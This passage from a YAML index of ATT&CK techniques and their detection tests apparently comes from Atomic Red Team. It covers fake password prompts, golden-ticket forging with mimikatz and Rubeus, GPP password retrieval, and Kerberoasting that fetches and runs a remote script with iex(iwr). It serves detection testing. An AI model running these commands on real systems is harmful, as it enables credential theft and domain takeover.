        proper credentials to authorize the elevated privileges for the task (ex:
        [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries
        may mimic this functionality to prompt users for credentials with a seemingly
        legitimate prompt for a number of reasons that mimic normal usage, such as
        a fake installer requiring additional access or a fake malware removal suite.(Citation:
        OSX Malware Exploits MacKeeper) This type of prompt can be used to collect
        credentials via various languages such as AppleScript(Citation: LogRhythm
        Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation:
        LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials
        Jan 2015). "
      id: attack-pattern--a2029942-0a85-4947-b23c-ca434698171d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-03-24T20:56:14.853Z'
      created: '2020-02-11T18:58:45.908Z'
      x_mitre_contributors:
      - Matthew Molyett, @s1air, Cisco Talos
      x_mitre_data_sources:
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials.

        Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Windows
      identifier: T1056.002
    atomic_tests:
    - name: AppleScript - Prompt User for Password
      auto_generated_guid: 76628574-0bc1-4646-8fe2-8f4427b47d15
      description: |
        Prompt User for Password (Local Phishing)
        Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
      supported_platforms:
      - macos
      executor:
        command: 'osascript -e ''tell app "System Preferences" to activate'' -e ''tell
          app "System Preferences" to activate'' -e ''tell app "System Preferences"
          to display dialog "Software Update requires that you type your password
          to apply changes." & return & return  default answer "" with icon 1 with
          hidden answer with title "Software Update"''

'
        name: bash
    - name: PowerShell - Prompt User for Password
      auto_generated_guid: 2b162bfd-0928-4d4c-9ec3-4d9f88374b52
      description: |
        Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials.

        Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py
      supported_platforms:
      - windows
      executor:
        command: "# Creates GUI to prompt for password. Expect long pause before prompt
          is available.    \n$cred = $host.UI.PromptForCredential('Windows Security
          Update', '',[Environment]::UserName, [Environment]::UserDomainName)\n# Using
          write-warning to allow message to show on console as echo and other similar
          commands are not visable from the Invoke-AtomicTest framework.\nwrite-warning
          $cred.GetNetworkCredential().Password\n"
        name: powershell
  T1558.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1558.001
        url: https://attack.mitre.org/techniques/T1558/001
      - url: https://adsecurity.org/?p=1640
        description: Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now
          More Golden. Retrieved December 1, 2017.
        source_name: AdSecurity Kerberos GT Aug 2015
      - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
        source_name: CERT-EU Golden Ticket Protection
      - url: https://adsecurity.org/?p=1515
        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
          23, 2015.
        source_name: ADSecurity Detecting Forged Tickets
      - description: 'Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active
          Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.'
        url: https://adsecurity.org/?p=483
        source_name: ADSecurity Kerberos and KRBTGT
      - source_name: Stealthbits Detect PtT 2019
        url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks
        description: Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket
          Attacks. Retrieved February 27, 2020.
      - source_name: Microsoft Kerberos Golden Ticket
        url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285
        description: Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated).
          Retrieved February 27, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Golden Ticket
      description: "Adversaries who have the KRBTGT account password hash may forge
        Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation:
        AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate
        authentication material for any account in Active Directory.(Citation: CERT-EU
        Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then
        able to request ticket granting service (TGS) tickets, which enable access
        to specific resources. Golden tickets require adversaries to interact with
        the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity
        Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers
        that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution
        Center (KDC) service account and is responsible for encrypting and signing
        all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT
        password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
        and privileged access to a domain controller."
      id: attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-11-05T16:07:03.779Z'
      created: '2020-02-11T19:13:33.643Z'
      x_mitre_contributors:
      - Itamar Mizrahi, Cymptom
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Credential Request'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed
        or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634),
        RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation:
        ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation:
        Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values
        that differ from the default domain duration.(Citation: Microsoft Kerberos
        Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)
        being used to move laterally. \n"
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1558.001
    atomic_tests:
    - name: Crafting Active Directory golden tickets with mimikatz
      auto_generated_guid: 9726592a-dabc-4d4d-81cd-44070008b3af
      description: |
        Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.
        This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).
        The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.
      supported_platforms:
      - windows
      input_arguments:
        domain_sid:
          description: SID of the targeted domain, if you keep default it will automatically
            get the current domain SID
          type: String
          default: S-1-5-21-DEFAULT
        domain:
          description: Targeted Active Directory domain FQDN
          type: String
          default: "%userdnsdomain%"
        account:
          description: Account to impersonate
          type: String
          default: goldenticketfakeuser
        krbtgt_aes256_key:
          description: Krbtgt AES256 key (you will need to set to match your krbtgt
            key for your domain)
          type: String
          default: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
        mimikatz_path:
          description: Mimikatz windows executable
          type: Path
          default: "$env:TEMP\\mimikatz\\x64\\mimikatz.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

'
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
          Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\mimikatz.zip"
          Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
          New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
          Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
      executor:
        name: powershell
        elevation_required: false
        command: "Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item
          $env:TEMP\\golden.txt -ErrorAction Ignore\n\n# get current domain SID if
          default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match
          \"DEFAULT\") {\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n
          \ $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n  $krbtgtSID
          = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n
          \ $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n#
          create batch file with commands to run in a separate \"runas /netonly\"
          session\n# so we don't purge Kerberos ticket from the current Windows session\n#
          its output goes to golden.txt temp file, because we cannot capture \"runas
          /netonly\" output otherwise\n@\"\n>%TEMP%\\golden.txt 2>&1 (\n  echo Purge
          existing tickets and create golden ticket:\n  klist purge\n  #{mimikatz_path}
          \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{krbtgt_aes256_key}
          /user:#{account} /ptt\" \"exit\"\n\n  echo.\n  echo Requesting SYSVOL:\n
          \ dir \\\\#{domain}\\SYSVOL\n  \n  echo.\n  echo Tickets after requesting
          SYSVOL:\n  klist\n\n  echo.\n  echo End of Golden Ticket attack\n)\n\"@
          -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n#
          run batch file in a new empty session (password and username do not matter)\necho
          \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n#
          wait until the output file has logged the entire attack\ndo {\n  Start-Sleep
          1 # wait a bit so the output file has time to be created\n  Get-Content
          -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n    if ($_ -match
          'End of Golden Ticket attack') { break } \n  }\n} while ($false) # dummy
          loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content
          $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat
          -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n"
    - name: Crafting Active Directory golden tickets with Rubeus
      auto_generated_guid: e42d33cd-205c-4acf-ab59-a9f38f6bad9c
      description: |
        Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.
        This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).
        The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.
      supported_platforms:
      - windows
      input_arguments:
        domaincontroller:
          description: Targeted Active Directory domain FQDN
          type: String
          default: $ENV:logonserver.TrimStart('\') + "." + "$ENV:userdnsdomain"
        account:
          description: Account to impersonate
          type: String
          default: "$ENV:username"
        krbtgt_aes256_key:
          description: Krbtgt AES256 key (you will need to set to match your krbtgt
            key for your domain)
          type: String
          default: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
        local_folder:
          description: Local path of Rubeus executable
          type: Path
          default: "$Env:temp"
        local_executable:
          description: name of the rubeus executable
          type: String
          default: rubeus.exe
        rubeus_url:
          description: URL of Rubeus executable
          type: Url
          default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

'
      - description: 'Rubeus must exist

'
        prereq_command: 'if(Test-Path -Path #{local_folder}\#{local_executable}) {exit
          0} else {exit 1}

'
        get_prereq_command: 'Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable}

'
      executor:
        name: powershell
        elevation_required: false
        command: "Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item
          $env:TEMP\\golden.txt -ErrorAction Ignore\n\ncmd.exe /c \"#{local_folder}\\#{local_executable}\"
          golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller})
          /printcmd /outfile:golden\n$filename = (Get-ChildItem | ? {$_.Name.startswith(\"golden_\")}
          | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name\n\n#
          create batch file with commands to run in a separate \"runas /netonly\"
          session\n# so we don't purge Kerberos ticket from the current Windows session\n#
          its output goes to golden.txt temp file, because we cannot capture \"runas
          /netonly\" output otherwise\n@\"\n>%TEMP%\\golden.txt 2>&1 (\n  echo Purge
          existing tickets and create golden ticket:\n  klist purge\n  cd %temp%\n
          \ \"#{local_folder}\\#{local_executable}\" ptt /ticket:kirbifile\n\n  echo.\n
          \ echo Requesting SYSVOL:\n  dir \\\\$(#{domaincontroller})\\SYSVOL\n  \n
          \ echo.\n  echo Tickets after requesting SYSVOL:\n  klist\n\n  echo.\n  echo
          End of Golden Ticket attack\n)\n\"@ -Replace \"kirbifile\", $filename |
          Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new
          empty session (password and username do not matter)\necho \"foo\" | runas
          /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until
          the output file has logged the entire attack\ndo {\n  Start-Sleep 1 # wait
          a bit so the output file has time to be created\n  Get-Content -Path \"$env:TEMP\\golden.txt\"
          -Wait | ForEach-Object {\n    if ($_ -match 'End of Golden Ticket attack')
          { break } \n  }\n} while ($false) # dummy loop so that 'break' can be used\n\n#
          show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n#
          cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item
          $env:TEMP\\golden.txt -ErrorAction Ignore\n"
  T1552.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1552.006
        url: https://attack.mitre.org/techniques/T1552/006
      - source_name: Microsoft GPP 2016
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)
        description: Microsoft. (2016, August 31). Group Policy Preferences. Retrieved
          March 9, 2020.
      - url: https://msdn.microsoft.com/library/cc422924.aspx
        description: Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April
          11, 2018.
        source_name: Microsoft GPP Key
      - url: https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html
        description: Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell.
          Retrieved April 11, 2018.
        source_name: Obscuresecurity Get-GPPPassword
      - description: Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL
          & Exploiting Group Policy Preferences. Retrieved February 17, 2020.
        url: https://adsecurity.org/?p=2288
        source_name: ADSecurity Finding Passwords in SYSVOL
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Group Policy Preferences
      description: |
        Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)

        These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)

        The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

        * Metasploit’s post exploitation module: <code>post/windows/gather/credentials/gpp</code>
        * Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
        * gpprefdecrypt.py

        On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>
      id: attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-06-17T14:25:38.082Z'
      created: '2020-02-11T18:43:06.253Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_detection: "Monitor for attempts to access SYSVOL that involve searching
        for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny
        and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords
        in SYSVOL)"
      identifier: T1552.006
    atomic_tests:
    - name: GPP Passwords (findstr)
      auto_generated_guid: 870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f
      description: 'Look for the encrypted cpassword value within Group Policy Preference
        files on the Domain Controller. This value can be decrypted with gpp-decrypt
        on Kali Linux.

'
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

'
      executor:
        command: 'findstr /S cpassword %logonserver%\sysvol\*.xml

'
        name: command_prompt
    - name: GPP Passwords (Get-GPPPassword)
      auto_generated_guid: e9584f82-322c-474a-b831-940fd8b4455c
      description: |
        Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller.
        This test is intended to be run from a domain joined workstation, not on the Domain Controller itself.
        The Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.

        Successful test execution will either display the credentials found in the GPP files or indicate "No preference files found".
      supported_platforms:
      - windows
      input_arguments:
        gpp_script_url:
          description: URL of the Get-GPPPassword PowerShell Script
          type: Url
          default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/87630cac639f29c2adcb163f661f02890adf4bdd/Exfiltration/Get-GPPPassword.ps1
        gpp_script_path:
          description: Path to the Get-GPPPassword PowerShell Script
          type: Path
          default: PathToAtomicsFolder\T1552.006\src\Get-GPPPassword.ps1
      dependency_executor_name: powershell
      dependencies:
      - description: 'Get-GPPPassword PowerShell Script must exist at #{gpp_script_path}

'
        prereq_command: 'if(Test-Path "#{gpp_script_path}") {exit 0 } else {exit 1
          }

'
        get_prereq_command: |
          New-Item -ItemType Directory (Split-Path "#{gpp_script_path}") -Force | Out-Null
          Invoke-WebRequest #{gpp_script_url} -OutFile "#{gpp_script_path}"
      - description: 'Computer must be domain joined

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

'
      executor:
        command: |
          . #{gpp_script_path}
          Get-GPPPassword -Verbose
        name: powershell
  T1056:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1056
        url: https://attack.mitre.org/techniques/T1056
      - external_id: CAPEC-569
        source_name: capec
        url: https://capec.mitre.org/data/definitions/569.html
      - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
          look into keyloggers on Windows. Retrieved April 27, 2016.'
        source_name: Adventures of a Keystroke
      description: Adversaries may use methods of capturing user input to obtain credentials
        or collect information. During normal system usage, users often provide credentials
        to various different locations, such as login pages/portals or system dialog
        boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential
        API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving
        the user into providing input into what they believe to be a genuine service
        (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).
      name: Input Capture
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-10-21T01:31:35.760Z'
      created: '2017-05-31T21:30:48.323Z'
      x_mitre_version: '1.2'
      x_mitre_contributors:
      - John Lambert, Microsoft Threat Intelligence Center
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Driver: Driver Load'
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'Process: Process Metadata'
      x_mitre_detection: 'Detection may vary depending on how input is captured but
        may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`,
        `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke),
        monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),
        and ensuring no unauthorized drivers or kernel modules that could indicate
        keylogging or API hooking are present.'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - root
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1558.003:
    technique:
      id: attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee
      description: "Adversaries may abuse a valid Kerberos ticket-granting ticket
        (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket
        that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation:
        Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec
        2015) \n\nService principal names (SPNs) are used to uniquely identify each
        instance of a Windows service. To enable authentication, Kerberos requires
        that SPNs be associated with at least one service logon account (an account
        specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting
        Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation:
        SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries
        possessing a valid Kerberos ticket-granting ticket (TGT) may request one or
        more Kerberos ticket-granting service (TGS) service tickets for any SPN from
        a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation:
        AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted
        with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the
        service account associated with the SPN is used as the private key and is
        thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110)
        attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking
        Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation:
        Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service
        tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos
        Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003),
        [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral
        Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation:
        SANS Attacking Kerberos Nov 2014)"
      name: Kerberoasting
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1558.003
        url: https://attack.mitre.org/techniques/T1558/003
      - external_id: CAPEC-509
        source_name: capec
        url: https://capec.mitre.org/data/definitions/509.html
      - url: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
        description: EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved
          March 22, 2018.
        source_name: Empire InvokeKerberoast Oct 2016
      - url: https://adsecurity.org/?p=2293
        description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets
          Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory
          Domain. Retrieved March 22, 2018.
        source_name: AdSecurity Cracking Kerberos Dec 2015
      - url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
        description: Bani, M. (2018, February 23). Detecting Kerberoasting activity
          using Azure Security Center. Retrieved March 23, 2018.
        source_name: Microsoft Detecting Kerberoasting Feb 2018
      - url: https://msdn.microsoft.com/library/ms677949.aspx
        description: Microsoft. (n.d.). Service Principal Names. Retrieved March 22,
          2018.
        source_name: Microsoft SPN
      - url: https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
        description: Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN
          Syntax (Setspn.exe). Retrieved March 22, 2018.
        source_name: Microsoft SetSPN
      - description: Medin, T. (2014, November). Attacking Kerberos - Kicking the
          Guard Dog of Hades. Retrieved March 22, 2018.
        source_name: SANS Attacking Kerberos Nov 2014
        url: https://redsiege.com/kerberoast-slides
      - url: https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
        description: Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz.
          Retrieved March 23, 2018.
        source_name: Harmj0y Kerberoast Nov 2016
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-10-20T19:30:10.687Z'
      created: '2020-02-11T18:43:38.588Z'
      x_mitre_contributors:
      - Praetorian
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_system_requirements:
      - Valid domain account or the ability to sniff traffic within a domain
      x_mitre_detection: 'Enable Audit Kerberos Service Ticket Operations to log Kerberos
        TGS service ticket requests. Particularly investigate irregular patterns of
        activity (ex: accounts making numerous requests, Event ID 4769, within a small
        time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation:
        Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking
        Kerberos Dec 2015)'
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1558.003
    atomic_tests:
    - name: Request for service tickets
      auto_generated_guid: 3f987809-3681-43c8-bcd8-b3ff3a28533a
      description: "This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1\nThe
        following are further sources and credits for this attack:\n[Kerberoasting
        Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)\n[Invoke-Kerberoast
        source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)\nwhen
        executed successfully , the test displays available services with their hashes.
        \nIf the testing domain doesn't have any service principal name configured,
        there is no output\n"
      supported_platforms:
      - windows
      dependencies:
      - description: 'Computer must be domain joined

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)
          Invoke-Kerberoast | fl
        name: powershell
    - name: Rubeus kerberoast
      auto_generated_guid: 14625569-6def-4497-99ac-8e7817105b55
      description: |
        Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
        This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
      supported_platforms:
      - windows
      input_arguments:
        local_folder:
          description: Local path of Rubeus executable
          type: Path
          default: "$Env:temp"
        local_executable:
          description: name of the rubeus executable
          type: String
          default: rubeus.exe
        out_file:
          description: file where command results are stored
          type: String
          default: rubeus_output.txt
        rubeus_url:
          description: URL of Rubeus executable
          type: Url
          default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
        flags:
          description: command flags you would like to run (optional and blank by
            default)
          type: String
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

'
      - description: 'Rubeus must exist

'
        prereq_command: 'if(Test-Path -Path #{local_folder}\#{local_executable}) {exit
          0} else {exit 1}

'
        get_prereq_command: 'Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable}

'
      executor:
        command: |
          klist purge
          cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}"
        cleanup_command: 'Remove-Item #{local_folder}\#{out_file} -ErrorAction Ignore

'
        name: powershell
        elevation_required: false
    - name: Extract all accounts in use as SPN using setspn
      auto_generated_guid: e6f4affd-d826-4871-9a62-6c9004b8fe06
      description: "The following test will utilize setspn to extract the Service
        Principal Names. This behavior is typically used during a kerberos or silver
        ticket attack. \nA successful execution will output all the SPNs for the related
        domain. \n"
      supported_platforms:
      - windows
      input_arguments:
        domain_name:
          description: The Domain Name to lookup against
          type: String
          default: "%USERDNSDOMAIN%"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

'
